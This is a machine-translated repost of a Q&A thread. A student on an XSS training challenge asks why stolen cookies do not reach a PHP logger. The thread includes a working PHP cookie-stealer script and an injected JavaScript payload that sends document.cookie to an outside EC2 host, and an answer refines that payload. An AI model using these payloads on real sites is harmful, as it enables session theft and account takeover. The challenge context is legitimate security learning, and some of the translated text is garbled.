[英]Variable won't be passed to PHP through URL
我正在执行此持久性跨站点脚本挑战作业,我们应该通过useragent注入来窃取cookie。 可以在此页面上找到有关此挑战的更多详细信息(基本41) :
背景:
由于此挑战是在玩具网站上进行的,因此该网站模拟了受害者在为我们查看页面。 我们需要做的是将代码注入到挑战页面服务器,并通过该代码窃取受害者的cookie,并将这些cookie发送到我们自己设置的Web服务器。 成功收集受害者的Cookie之后,我们可以将自己的Cookie设置为这些值以应对挑战。
到目前为止,我做了什么:
在aws ec2
上设置Web服务器。 我相信这是centos,但由于无法安装centos-release软件包或类似的东西而找不到更多的发行信息。 我只能找到: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。 入站规则设置为ssh
端口22和http
端口80。 httpd,mysql,php已安装并经过测试工作。 /var/www/http
下的index.html
文件在浏览器中正常显示。
将cookie_stealer.php
放在/var/www/http
我的cookie_stealer.php
代码:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
到目前为止,我已经成功注入了代码,但是document.cookie
的值不会传递到我的php文件中。 因此,我目前专注于这个问题。
我正在测试如何通过url测试将变量传递给php:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
有趣的是,在$_GET['c']
行之后, $_GET['c']
下行添加到我的php文件中之后:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以以ahhh
显示在网页上,但不会写入log.txt
。 log.txt
仅记录以下内容:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
c
传递到服务器上的$cookie
,为什么在显示ahhh
的网页上,该三元运算符总是返回'There is no variable c'
。 谁能告诉我为什么会这样,或者我还能在哪里看? 任何提示将不胜感激! 您可能需要更改文件许可权才能写入该日志文件。 试试: chmod -R 777 log.txt
我的第一个想法是:
您可能需要URL附加cookie文本。 可能其中有一些东西破坏了您的URL请求。
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
然后,在PHP中,您可能必须解码,也可以不必解码,如果可以,可以这样做:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
例如,您的教练我已经在其中插入#
号或其他符号。 我不能肯定地说,因为我从未通过查询参数发送过cookie,但是我不认为它们会以这种方式发送。
无论如何,这太多了,请发表评论,希望对您有所帮助!
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.